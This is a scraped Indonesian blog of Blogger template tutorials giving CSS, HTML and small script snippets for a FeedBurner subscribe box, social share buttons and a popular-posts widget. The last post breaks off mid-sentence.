Cara Membuat Widget Subscribe Newsletter dibawah Postingan

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on">Salah satu untuk mendapatkan pengunjung setia adalah memasang kotak berlangganan<br /><b>(Subscription Box)</b> di Blogger anda. Kotak berlangganan <b>(Subscription Box)</b> ini sangat penting untuk sebuah blog. Dengan begitu pengujung akan lebih mudah untuk mendapatkan update postingan blog via email. Nantinya ketika Anda membuat postingan, maka postingan atau artikel tersebut akan terkirim melalui inbox pelanggan.<br /><br />Pada kesempatan kali ini saya akan membagikan <b>Tombol Subscribe Newsletter</b> dibawah postingan, dan juga bisa dipasang di bagian<b> sidebar, footer</b> dll. Tapi nanti saya akan menjelaskan kedua cara memasangnya.<br /><br />Baca Juga :<br /><ul style="text-align: left;"><li style="text-align: left;"><a href="http://maycyber-download.blogspot.com/2016/09/cara-membuat-kotak-berlangganan.html">Cara Membuat Kotak Berlangganan (Subscription Box) Responsive! Dibawah Postingan Blogger.</a></li><li style="text-align: left;"><a href="http://maycyber-download.blogspot.com/2016/07/cara-membuat-widget-kotak-berlangganan.html">Cara Membuat Widget Kotak Berlangganan Plus Media Sosial di Blogger</a></li></ul><br /><b>Screenshoot :</b><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghMl7Iphp7ySIRMExCejioo9fmKja2PQxOu0PIA3ov9HiUJSRui-ZUAsT7IgMG9R-LMsRAle9sY1bkwoDMCWw263W2lbtP-Ni0I27N08ArZIjAMuSBl5VeYk4P35nR9EypHVdXo8laq_Y/s1600/%255BMayCyber%255D+-+Subscribe+dibawah+postingan_1.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="284" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghMl7Iphp7ySIRMExCejioo9fmKja2PQxOu0PIA3ov9HiUJSRui-ZUAsT7IgMG9R-LMsRAle9sY1bkwoDMCWw263W2lbtP-Ni0I27N08ArZIjAMuSBl5VeYk4P35nR9EypHVdXo8laq_Y/s640/%255BMayCyber%255D+-+Subscribe+dibawah+postingan_1.gif" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div style="text-align: center;"><b><span style="font-size: large;">Cara Membuat Widget Subscribe Newsletter dibawah Postingan</span></b></div><div style="text-align: center;"><br /></div><div style="text-align: left;"><b>Cara Pertama : </b><br /><br />1. Buka <a href="http://blogger.com/">Blogger </a>- Kemudian login.</div><div style="text-align: left;">2. Dashboard - Template</div><div style="text-align: left;">3. Edit HTML</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><b>Proses Pembuatan : </b></div><div style="text-align: left;"><b><br /></b></div><div style="text-align: left;">1. Temukan <CTRL+F> kode <b><span style="color: red;">]]></b:skin></span></b> atau <b><span style="color: red;"></style></span></b></div><div style="text-align: left;">2. Copy & Paste kode berikut ini, dan letakkan diatas kode <b><span style="color: red;">]]></b:skin></span></b> atau <span style="color: red;"><b></style></b></span></div><pre data-codetype="CSS" title="CSS"><code class="language-css"><pre data-codetype="CSS" title="CSS"><code class="language-css">#subscribebox{background:#576269;padding:20px;font-family:'PT Sans',sans-serif;}<br />.widget_follow_subscribe .widget-detail{padding:36px 30px 40px}<br />#subscribebox p{color:#fff;font-size:15px;text-align:center;font-weight:700}<br />.follow-subscribe-social{margin:0 0 15px;padding:0 0 14px;border-bottom:#858585 solid 1px}<br />.follow-subscribe-social ul{list-style:none;margin:0;padding:0;text-align:center}<br />.follow-subscribe-social ul li{display:inline;margin:0 15px 0 0;border-bottom:none}<br />.follow-subscribe-social ul li:last-child{margin:0}<br />.follow-subscribe-social ul li a{font-size:17px;color:#cacaca;-webkit-transition:color .2s ease-in-out;-moz-transition:color .2s ease-in-out;-ms-transition:color .2s ease-in-out;-o-transition:color .2s ease-in-out;transition:color .2s ease-in-out}<br />.follow-subscribe-social ul li a:hover{color:#fff}<br />form.subscribe{margin-top:-7px}<br />form.subscribe input{display:block;width:100%}<br />.subscribe-email{height:45px;border:none;margin:0 0 10px;font-size:.928571em;background-color:rgba(255,255,255,0.2);text-align:center;color:#fff}<br />.subscribe-email:focus{outline:0}<br />form.subscribe .placeholder{color:#cacaca}<br />form.subscribe input:-ms-input-placeholder{color:#cacaca}<br />form.subscribe input::-webkit-input-placeholder{color:#cacaca}<br />form.subscribe input:-moz-placeholder{color:#fafafa}<br />form.subscribe input::-moz-placeholder{color:#fafafa}<br />.subscribe-button{height:45px;font-weight:700;font-size:16px;color:#fff;text-transform:uppercase;border:none;background-color:#F35D5C;-webkit-transition:background-color .2s ease-in-out;-moz-transition:background-color .2s ease-in-out;-ms-transition:background-color .2s ease-in-out;-o-transition:background-color .2s ease-in-out;transition:background-color .2s ease-in-out}<br />.subscribe-button:hover{background-color:#f1d640}<br />.subscribe-button:focus{outline:0}</code></pre></code></pre>3. Jika sudah dipasang? Temukan kode <b><span style="color: red;"></head></span></b><br />4. Copy & Paste kode berikut ini, dan letakkan diatas kode <b><span style="color: red;"></head></span></b><br /><pre data-codetype="jQuery" title="jQuery"><code class="language-javascript"><link href='https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css' rel='stylesheet' type='text/css'/><br /><link href='//fonts.googleapis.com/css?family=PT+Sans:400,700' rel='stylesheet' type='text/css'/></code></pre>5. Jika sudah dipasang? Temukan lagi kode <b><span style="color: red;"><data:post.body/></span></b> biasanya kode ini lebih dari satu, silakan pilih yang kedua atau yang ketiga.<br />6. Copy & Paste kode berikut ini, dan letakkan dibawah kode <b><span style="color: red;"><data:post.body/></span></b><br /><br />Jika kesalahan pada kode <span style="color: blue;"><data:post.body/></span><br /><br /><b>Cara Alternatif :</b><br /><br /><b>A. </b>Anda bisa meletakan kode dibawah ini, tepat diatas/dibawah <b>Related Post</b> jika memang anda memasangnya.<br /><b>B.</b> Anda bisa meletakan kode dibawah ini, tepat diatas/dibawah <b>Share Buttons.</b><br /><pre data-codetype="HTML" title="HTML"><code class="language-markup"><div id="subscribebox"><br /><div class="follow-subscribe-social"><br /><ul><br /><li><a href="<span style="color: red;">#</span>" target="_blank"><i class="fa fa-facebook"></i></a></li><br /><li><a href="<span style="color: red;">#</span>" target="_blank"><i class="fa fa-twitter"></i></a></li><br /><li><a href="<span style="color: red;">#</span>" target="_blank"><i class="fa fa-linkedin"></i></a></li><br /><li><a href="<span style="color: red;">#</span>" target="_blank"><i class="fa fa-google"></i></a></li><br /><li><a href="<span style="color: red;">#</span>" target="_blank"><i class="fa fa-pinterest-p"></i></a></li><br /><li><a href="<span style="color: red;">#</span>" target="_blank"><i class="fa fa-dribbble"></i></a></li><br /><li><a href="<span style="color: red;">#</span>" target="_blank"><i class="fa fa-instagram"></i></a></li><br /></ul><br /></div><br /><p>Subscribe Newsletter</p><br /><form class="subscribe" action='http://feedburner.google.com/fb/a/mailverify?uri=<span style="color: red;">YOUR-USER-NAME</span>' method='post' onsubmit='window.open(&apos;http://feedburner.google.com/fb/a/mailverify?uri=YOUR-USER-NAME, &apos;popupwindow&apos;, &apos;scrollbars=yes,width=550,height=520&apos;);return true' target='popupwindow'><br /><input name='uri' type='hidden' value='<span style="color: red;">YOUR-USER-NAME</span>'/><br /><input name='loc' type='hidden' value='en_US'/><br /><input class="subscribe-email" type='text' name='email' onblur='if (this.value == &quot;&quot;) {this.value = &quot;Your Email&quot;;}' onfocus='if (this.value == &quot;Your Email&quot;) {this.value = &quot;&quot;;}' value='Your Email'/><br /><input class="subscribe-button" type="submit" value="Subscribe" /><br /></form><br /></div></code></pre><pre data-codetype="HTML" title="HTML"><code class="language-markup"><br /></code></pre>NB : Silakan anda ganti tulisan yang berwarna <span style="color: red;">merah </span>dengan kepunyaan anda.<br /><div style="text-align: center;"><br /><b><span style="font-size: large;">Selain dibawah postingan? Subscribe ini juga bisa dipasang di Sidebar, Footer</span></b></div><div style="text-align: left;"><br /><b>Caranya :</b><br /><br />1. Buka Tata Letak/Layout.</div><div style="text-align: left;">2. Add a Gadget</div><div style="text-align: left;">3. Pilih HTML Java Script</div><div style="text-align: left;">4. Copy & Paste kode berikut ini, dan letakkan di kolom HTML Java Script.</div><div style="text-align: left;"><br /><b>Screenshoot : </b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF0trOFdfVHats9T0FySOX005McO_KzOfgU8Xu4x5VC_RtYEvZ7ly7hRRHxiaHpAlHQcxPpFm_WBKyncTa6BXSZ5P-viR_xmzhYulQV7AQtyRR89X4XIcWuHvdJHGB7t30ihwUMceHBlU/s1600/%255BMayCyber%255D+-+Subscribe+Tata+Letak_2.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF0trOFdfVHats9T0FySOX005McO_KzOfgU8Xu4x5VC_RtYEvZ7ly7hRRHxiaHpAlHQcxPpFm_WBKyncTa6BXSZ5P-viR_xmzhYulQV7AQtyRR89X4XIcWuHvdJHGB7t30ihwUMceHBlU/s400/%255BMayCyber%255D+-+Subscribe+Tata+Letak_2.gif" width="400" /></a></div><br /></div><pre data-codetype="HTML" title="HTML"><code class="language-markup"><div id="subscribebox"><br /><div class="follow-subscribe-social"><br /><ul><br /><li><a href="<span style="color: red;">#</span>" target="_blank"><i class="fa fa-facebook"></i></a></li><br /><li><a href="<span style="color: red;">#</span>" target="_blank"><i class="fa fa-twitter"></i></a></li><br /><li><a href="<span style="color: red;">#</span>" target="_blank"><i class="fa fa-linkedin"></i></a></li><br /><li><a href="<span style="color: red;">#</span>" target="_blank"><i class="fa fa-google"></i></a></li><br /><li><a href="<span style="color: red;">#</span>" target="_blank"><i class="fa fa-pinterest-p"></i></a></li><br /><li><a href="<span style="color: red;">#</span>" target="_blank"><i class="fa fa-dribbble"></i></a></li><br /><li><a href="<span style="color: red;">#</span>" target="_blank"><i class="fa fa-instagram"></i></a></li><br /></ul><br /></div><br /><p>Subscribe Newsletter</p><br /><form class="subscribe" action='http://feedburner.google.com/fb/a/mailverify?uri=<span style="color: red;">YOUR-USER-NAME</span>' method='post' onsubmit='window.open(&apos;http://feedburner.google.com/fb/a/mailverify?uri=YOUR-USER-NAME, &apos;popupwindow&apos;, &apos;scrollbars=yes,width=550,height=520&apos;);return true' target='popupwindow'><br /><input name='uri' type='hidden' value='<span style="color: red;">YOUR-USER-NAME</span>'/><br /><input name='loc' type='hidden' value='en_US'/><br /><input class="subscribe-email" type='text' name='email' onblur='if (this.value == &quot;&quot;) {this.value = &quot;Your Email&quot;;}' onfocus='if (this.value == &quot;Your Email&quot;) {this.value = &quot;&quot;;}' value='Your Email'/><br /><input class="subscribe-button" type="submit" value="Subscribe" /><br /></form><br /></div></code></pre>Terakhir, Silakan Simpan Template. Silakan anda lihat postingan blog anda atau lihat bagian sidebar atau footer anda. Sekian dari saya <b>Semoga Bermanfaat!</b> <span style="font-size: large;"><span style="font-size: small;">Thank's For Reading & Sharing and Visited; </span></span><b>Cara Membuat Tombol Subscribe Newsletter dibawah Postingan</b></div></div></div></div></div>

Diposting oleh Mr Xiulung

Cara Membuat Flat Social Share Buttons di Blogger

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on">Menge-share artikel ke sosial media mungkin merupakan salah satu cara untuk meningkatkan popularitas dan terkenalnya sebuah blog/situs. Tujuan berbagi ke sosial media adalah untuk meningkatkan pengunjung jika pengunjung tersebut tertarik dan meng-klik bersama. Salah satu cara untuk berbagi postingan ke sosial media yaitu dengan cara memasang tombol share buttons di blog Anda. Mungkin tombol share ini sudah tidak asing lagi dikalangan web atau situs. Karena ini memang dibutuhkan. Hal ini sangat bermanfaat, diantaranya adalah agar pengunjung dapat membagikan sebuah postingan anda di Sosial Media.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNw94h-N6tHShT6QarGNvEXpOEIaERt1oBntsfs22pFwL6furyvk3oWuaxR-g67gN_WYgfvktPZ7YNU38cd0zqnRzfFezzAJX_YIQHgsbPyeIbu-5O0Catvxm202gPnAHkN86tg4TMSBE/s1600/Share+Buttons_1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNw94h-N6tHShT6QarGNvEXpOEIaERt1oBntsfs22pFwL6furyvk3oWuaxR-g67gN_WYgfvktPZ7YNU38cd0zqnRzfFezzAJX_YIQHgsbPyeIbu-5O0Catvxm202gPnAHkN86tg4TMSBE/s400/Share+Buttons_1.jpg" width="400" /></a></div>Pada kesempatan kali ini, saya akan membagikan <b>Flat Social Share Buttons. </b>Dengan tombol share buttons, pengunjung dapat dengan mudah berbagi artikel ke sosial milik dia dengan hanya satu klik saja.<br /><br />Baca Juga :<br /><ul style="text-align: left;"><li><a href="http://maycyber-download.blogspot.com/2016/11/cara-membuat-tombol-share-buttons.html">Cara Membuat Tombol Share Buttons Keren, Responsive di Blogger</a> <b><span style="color: red;"><Update></span></b></li><li><a href="http://maycyber-download.blogspot.com/2016/08/cara-memasang-tombol-share-di-blogger.html">Cara memasang Tombol Share di Blogger, Responsive!</a></li><li><a href="http://maycyber-download.blogspot.com/2016/09/cara-membuat-tombol-share-sosial-button.html">Cara Membuat Tombol Share Sosial Button Seperti EvoMagz</a></li><li><a href="http://maycyber-download.blogspot.com/2016/09/cara-membuat-tombol-share-sosial-media.html">Cara Membuat Tombol Share Sosial Media Buttons Melayang di Kiri Blog</a></li></ul><br /><b>Screenshoot : </b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmNcwyM-iBr9Iv85u3YMrP4x6H17ds9A-Giyup8rnqsTcJ0UwBpfzfb8W8ZQjIDdRupoy75WoUkd0EWc2f1jrEi7h81JHfz_-2zMHjEKz6v9pen8kzTLJQ7d_mOMOqgSucjAgrd1LTS_A/s1600/%255BMayCyber%255D+-+Flat+Share+buttons_1.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="[MayCyber] - Tombol Flat Social Share Buttons" border="0" height="58" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmNcwyM-iBr9Iv85u3YMrP4x6H17ds9A-Giyup8rnqsTcJ0UwBpfzfb8W8ZQjIDdRupoy75WoUkd0EWc2f1jrEi7h81JHfz_-2zMHjEKz6v9pen8kzTLJQ7d_mOMOqgSucjAgrd1LTS_A/s640/%255BMayCyber%255D+-+Flat+Share+buttons_1.gif" title="[MayCyber] - Tombol Flat Social Share Buttons" width="640" /></a></div><b><br /></b><br /><div style="text-align: center;"><b><span style="font-size: large;">Cara Membuat Flat Social Share Buttons di Blogger </span></b></div><div style="text-align: left;"><b><br />Cara Pertama :</b><br /><br />1. Buka <a href="http://blogger.com/">Blogger</a> - Kemudian Login.</div><div style="text-align: left;">2. Dashboard - Kemudian Template.</div><div style="text-align: left;">3. Edit HTML.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><b>Proses Pembuatan : </b><br /><br />1. Temukan <CTRL+F> kode<b> <span style="color: red;">]]></b:skin> </span></b>atau <b style="color: red;"></style></b></div><div style="text-align: left;">2. Copy & Paste kode berikut ini, dan letakkan diatas kode <b><span style="color: red;">]]></b:skin></span></b> atau <b><span style="color: red;"></style></span></b></div><pre data-codetype="CSS" title="CSS"><code class="language-css">/* CSS Share Button */<br />.sharepost li{width:19%;padding:0;list-style:none;}<br />.sharepost li a{opacity:0.8;padding:10px 0;color:#fff;display:block;border:double #fff;}<br />.sharepost{overflow:hidden;text-align:center;margin-bottom:20px;margin-top:20px;}<br />.sharepost li a:hover{opacity:1;color:#444;border:double #fff;}<br />.sharepost li .twitter{background-color:#55acee;}<br />.sharepost li .facebook{background-color:#3b5998;}<br />.sharepost li .gplus{background-color:#dd4b39;}<br />.sharepost li .pinterest{background-color:#cc2127;}<br />.sharepost li .linkedin{background-color:#0976b4;}<br />.sharepost li .twitter:hover,.sharepost li .facebook:hover,.sharepost li .gplus:hover,<br />.sharepost li .pinterest:hover,.sharepost li .linkedin:hover{background-color:#444;color:#fff;}<br />.sharepost li{float:left;margin-right:1.2%}<br />.sharepost li:last-child{margin-right:0}<br />.sharepost li .fa:before{margin-right:5px}</code></pre>3. Jika sudah dipasang? Temukan lagi kode<b> <span style="color: red;"><data:post.body/></span></b><br />4. Copy & Paste kode berikut ini, dan letakkan dibawah kode <b><span style="color: red;"><data:post.body/></span></b><br /><b>Catatan :</b><br /><div style="text-align: center;"><span style="color: blue;">" Bisanya kode ini lebih dari satu, silakan anda pilih yang kedua. Atau anda bisa mencobanya satu/satu."</span></div><pre data-codetype="HTML" title="HTML"><code class="language-markup"><b:if cond='data:blog.pageType == &quot;item&quot;'><br /> <div class='sharepost'><br /> <ul><br /> <li><a class='twitter' expr:href='&quot;http://twitter.com/share?url=&quot; + data:post.url' rel='nofollow' target='_blank' title='Twitter Tweet'><i class='fa fa-twitter'/>Tweet</a></li><br /><br /> <li><a class='facebook' expr:href='&quot;http://www.facebook.com/sharer.php?u=&quot; + data:blog.url' rel='nofollow' target='_blank' title='Facebook Share'><i class='fa fa-facebook'/>Share</a></li><br /><br /> <li><a class='gplus' expr:href='&quot;http://plus.google.com/share?url=&quot; + data:blog.url' rel='nofollow' target='_blank' title='Google Plus Share'><i class='fa fa-google-plus'/>Share</a></li><br /><br /> <li><a class='linkedin' expr:href='&quot;http://www.linkedin.com/shareArticle?mini=true&amp;amp;url=&quot; + data:post.url + &quot;&amp;amp;title=&quot; + data:post.title + &quot;&amp;amp;summary=&quot; + data:post.snippets' target='_blank'><i class='fa fa-linkedin'/>Share</a></li><br /><br /> <li><a class='pinterest' expr:href='&quot;http://pinterest.com/pin/create/button/?url=&quot; + data:post.url + &quot;&amp;amp;media=&quot; + data:post.thumbnailUrl + &quot;&amp;amp;description= + data:post.title&quot;' target='_blank'><i class='fa fa-pinterest'/>Share</a></li><br /><br /> </ul><br /> </div> </b:if></code></pre>5. Supaya Responsive? Sekarang kita pasang script <span style="color: blue;">Bootstrapcdn</span><b> </b>atau <span style="color: blue;">Font Awesome</span><b>. </b>Karena Icon pada tombol share ini, menggunakan font awesome icons<b> </b>"Contoh :<b> fa fa-facebook"</b><br />6. Selanjutnya Temukan kode <b><span style="color: red;"></head></span></b><br />7. Copy & Paste kode berikut ini, dan letakkan diatas kode <b><span style="color: red;"></head></span></b><br /><pre data-codetype="jQuery" title="jQuery"><code class="language-javascript"><link href='https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css' rel='stylesheet'/></code></pre>8. Terakhir, Simpan Template.<br /><br />Sekian Tutorial Blogger kali ini, bila ada kesalahan? Silakan jangan sungkan untuk berkomentar. Terakhir silakan anda lihat postingan blog anda. Sekian dari saya <b>Semoga Bermanfaat!</b> <span style="font-size: large;"><span style="font-size: small;">Thank's For Reading & Sharing and Visited; </span></span><b>Cara Membuat Flat Social Share Buttons di Blogger</b></div></div></div></div>

Diposting oleh Mr Xiulung

Cara Membuat Tombol Share Buttons Keren, Responsive di Blogger

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on">Mungkin tombol share ini sudah tidak asing lagi dikalangan web atau situs. Karena ini memang dibutuhkan. Hal ini sangat bermanfaat, diantaranya adalah agar pengunjung dapat membagikan sebuah postingan anda di Sosial Media. Menge-share artikel ke sosial media mungkin merupakan salah satu cara untuk meningkatkan popularitas sebuah blog. Jadi jika blog anda ingin menjadi popularitas harus rajin dan konsisten mendistribusikan artikel anda ke berbagai sosial media yang anda miliki. Hal ini agar orang tahu blog Anda untuk melihat terus-menerus alamat blog anda di Timeline mereka.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCOqQ8NNpCcuaagNIhPuwxu769O1h-Gf52HHNs8njplU6Pe4b_n3XKh7GaFD3pieEDNOz4T0dBTOTK10KAW5M7ZpSsKlvOzkbmnP_1h3JbnGH78MmSw71EMVIqcITsib7R7gvIj9do-2w/s1600/%255BMayCyber%255D+-+Share+Buttons.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCOqQ8NNpCcuaagNIhPuwxu769O1h-Gf52HHNs8njplU6Pe4b_n3XKh7GaFD3pieEDNOz4T0dBTOTK10KAW5M7ZpSsKlvOzkbmnP_1h3JbnGH78MmSw71EMVIqcITsib7R7gvIj9do-2w/s320/%255BMayCyber%255D+-+Share+Buttons.png" width="320" /></a></div><br />Tujuan berbagi ke sosial media adalah untuk meningkatkan pengunjung jika pengunjung tersebut tertarik dan meng-klik bersama. Salah satu cara untuk berbagi postingan ke sosial media yaitu dengan cara memasang tombol share buttons. Dengan tombol share buttons, pengunjung dapat dengan mudah berbagi artikel ke sosial milik dia dengan hanya satu klik. Dan kali ini saya akan mempostingan sesuai judul yaitu <b>Cara Membuat Tombol Share Buttons Responsive di Blogger</b><br /><b><br /></b><br /><div class="separator" style="clear: both; text-align: left;"><b>Screenshoot : </b></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV0E07q4Usn71iJs9ZN9Ctu5a8-Xu7yceGs34PfQHmn9YYn9zCnnVG7tz_sW_24LYYq1vMxmYgmwCaEIxjMiq5cq_7ijG2wGdzzp2WH30qN8uhAxgqcJgNWQYmFN_EFrK6w3GWdoIEDDQ/s1600/%255BMayCyber%255D+-+Share+buttons_1.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="123" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV0E07q4Usn71iJs9ZN9Ctu5a8-Xu7yceGs34PfQHmn9YYn9zCnnVG7tz_sW_24LYYq1vMxmYgmwCaEIxjMiq5cq_7ijG2wGdzzp2WH30qN8uhAxgqcJgNWQYmFN_EFrK6w3GWdoIEDDQ/s640/%255BMayCyber%255D+-+Share+buttons_1.gif" width="640" /></a></div></div><br /><div style="text-align: center;"><b><span style="font-size: large;">Cara Membuat Tombol Share Buttons Keren, Responsive di  Blogger</span></b></div><div style="text-align: left;"><br /><b>Cara Pertama :</b><br />1. Buka Blogger - Kemudian Login.</div><div style="text-align: left;">2. Dashboard - Template.</div><div style="text-align: left;">3. Edit HTML.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><b>Proses Pembuatan :</b></div><div style="text-align: left;"><br /></div><div style="text-align: left;">1. Temukan <CTRL + F >kode <span style="color: red;"><b>]]></b:skin></b> </span>atau <b style="color: red;"></style></b></div><div style="text-align: left;">2. Copy & Paste kode berikut ini, dan Letakkan diatas kode <span style="color: red;"><b>]]></b:skin></b> </span>atau <b style="color: red;"></style></b></div><pre data-codetype="CSS" title="CSS"><code class="language-css">/* Share Button */<br />.post-footer{margin-top:30px;}<br />.share-post, .multiauthor-box {margin-bottom:50px;}<br />.share-post ul {padding:0;margin:0;text-align:center;}<br />.share-post li{list-style:none;display:inline-block;margin-right:10px;padding:0;font-weight:700;text-transform:uppercase}<br />.share-post li:first-child {font-size:16px;color:#22a1c4;}<br />.share-post li a{display:block;text-align:center;}<br />.share-post span{display:none;}<br />.share-post li a i{display:block;color:#fff;width:40px;height:40px;line-height:40px;font-size:18px;border-radius:40px;font-weight:normal;transition:all .3s;}<br />.share-post{margin-bottom:30px;border-top:1px solid #eff0f0;border-bottom:1px solid #eff0f0;line-height:52px;min-height:52px;margin-left:-30px;margin-right:-30px}<br />.share-post li a i.fa.fa-facebook{background:#3b5998;border:1px solid transparent;}<br />.share-post li a i.fa.fa-twitter{background:#19bfe5;border:1px solid transparent;}<br />.share-post li a i.fa.fa-google-plus{background:#d64136;border:1px solid transparent;}<br />.share-post li a i.fa.fa-linkedin{background:#006699;border:1px solid transparent;}<br />.share-post li a i.fa.fa-pinterest{background:#cb2027;border:1px solid transparent;}<br />.share-post li a i.fa.fa-facebook:hover{background:#fff;color:#3b5998;border:1px solid #4666aa;}<br />.share-post li a i.fa.fa-twitter:hover{background:#fff;color:#19bfe5;border:1px solid #2acef4;}<br />.share-post li a i.fa.fa-google-plus:hover{background:#fff;color:#d64136;border:1px solid #e95247;}<br />.share-post li a i.fa.fa-linkedin:hover{background:#fff;color:#006699;border:1px solid #017ab6;}<br />.share-post li a i.fa.fa-pinterest:hover{background:#fff;color:#cb2027;border:1px solid #e33239;}</code></pre>3. Jika sudah dipasang? Temukan lagi <CTRL <complete id="goog_152603343">+F > </complete>kode <b><span style="color: red;"></head></span></b><br />4. Copy & Paste kode berikut ini, dan Letakkan diatas kode <b><span style="color: red;"></head></span></b><br /> <pre data-codetype="Javascript" title="Javascript"><code class="language-javascript"><script type='text/javascript'><br />//<![CDATA[<br />//CSS Ready<br />function loadCSS(e, t, n) { "use strict"; var i = window.document.createElement("link"); var o = t || window.document.getElementsByTagName("script")[0]; i.rel = "stylesheet"; i.href = e; i.media = "only x"; o.parentNode.insertBefore(i, o); setTimeout(function () { i.media = n || "all" }) }<br />loadCSS("http://fonts.googleapis.com/css?family=Open+Sans:400italic,400,600,700,300");loadCSS("https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css");<br />//]]><br /></script></code></pre>5. Terakhir, silakan Anda Temukan <CTRL+F> kode <b><span style="color: red;"><data:post.body/></span></b><br />6. Copy & Paste kode berikut ini, dan letakkan dibawah kode <b><span style="color: red;"><data:post.body/></span></b><br /><b>Catatan : </b><br /><div style="text-align: center;"><div style="text-align: left;"><div style="text-align: center;"><span style="color: blue;"><i>". </i>Biasanya kode ini, lebih dari satu silakan anda pilih yang kedua dari atas. Atau anda bisa mencobanya satu/satu.<i>"</i></span></div></div></div><pre data-codetype="HTML" title="HTML"><code class="language-markup"><div class='share-post'><br /><ul class='entry-share-list clearfix'><br /><li>Share This</li><br /><li class='facebook_share'><br /><a expr:href='&quot;http://www.facebook.com/sharer.php?u=&quot; + data:post.url + &quot;&amp;title=&quot;+ data:post.title' onclick='window.open(this.href, &apos;windowName&apos;, &apos;width=550, height=600, left=24, top=24, scrollbars, resizable&apos;); return false;' rel='nofollow' target='_blank'><i class='fa fa-facebook'/> </a><br /></li><br /><li class='twitter_share'><br /><a expr:href='&quot;http://twitter.com/share?url=&quot; + data:post.url + &quot;&amp;title=&quot; + data:post.title' onclick='window.open(this.href, &apos;windowName&apos;, &apos;width=550, height=600, left=24, top=24, scrollbars, resizable&apos;); return false;' rel='nofollow' target='_blank'><i class='fa fa-twitter'/></a><br /></li><br /><li class='google_share'><br /><a expr:href='&quot;https://plus.google.com/share?url=&quot; + data:post.url + &quot;&amp;title=&quot; + data:post.title' onclick='window.open(this.href, &apos;windowName&apos;, &apos;width=550, height=600, left=24, top=24, scrollbars, resizable&apos;); return false;' rel='nofollow' target='_blank'><i class='fa fa-google-plus'/></a><br /></li><br /><li class='linkedin_share'><br /><a expr:href='&quot;http://www.linkedin.com/shareArticle?mini=true&amp;url=&quot; + data:post.url + &quot;&amp;title=&quot;+ data:post.title' onclick='window.open(this.href, &apos;windowName&apos;, &apos;width=550, height=600, left=24, top=24, scrollbars, resizable&apos;); return false;' rel='nofollow' target='_blank'><i class='fa fa-linkedin'/></a><br /></li><br /><li><a expr:href='&quot;http://pinterest.com/pin/create/button/?url=&quot; + data:post.url + &quot;&amp;media=&quot; + data:post.thumbnailUrl + &quot;&amp;description=&quot; + data:post.snippet' onclick='window.open(this.href, &apos;windowName&apos;, &apos;width=550, height=600, left=24, top=24, scrollbars, resizable&apos;); return false;' rel='nofollow'><i class='fa fa-pinterest'/></a></li><br /></ul><br /></div></code></pre>7. Simpan Template.<br /><br />Sekian Tips blogger kali ini, bila ada kesalahan? Jangan sungkan untuk berkomentar. Terakhir silakan anda lihat postingan blog anda. Sekian dari saya <b>Semoga Bermanfaat!</b> <span style="font-size: large;"><span style="font-size: small;">Thank's For Reading & Sharing and Visited; </span></span><b>Cara Membuat Tombol Share Buttons Keren, Responsive di Blogger</b></div></div></div></div>

Diposting oleh Mr Xiulung

Cara Membuat Popular Post Thumbnail dan Auto Numbering

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><b>Populart Post</b> adalah artikel yang sering dikunjungi atau yang paling banyak dilihat oleh pengunjung. Seperti yang kalian tahu, bahwa Blogger menyediakan Widget Entri Popular. Namun Tampilannya biasa-biasa saja. Popular post ini sangat penting di blogger, karena memudahkan pengunjung dalam melihat artikel apa yang sedang naik daun atau popular. Perlu diketahui Blogger menyediakan Populart Post, namun tidak menarik. Bagaimana kita modifikasi saja, agar terlihat menarik dan enak dipandang. Popular disertakan<b> Thumbnai (Gambar) dan Auto Numbering (Memberi angka otomatis)</b>. Widget Popular post kali ini dibuat dengan Elemen CSS.<br /><br /><div class="separator" style="clear: both; text-align: center;"><br /></div>Setiap pengguna blogspot pasti mencari cara untuk memperindah blog mereka. Blogger Populer 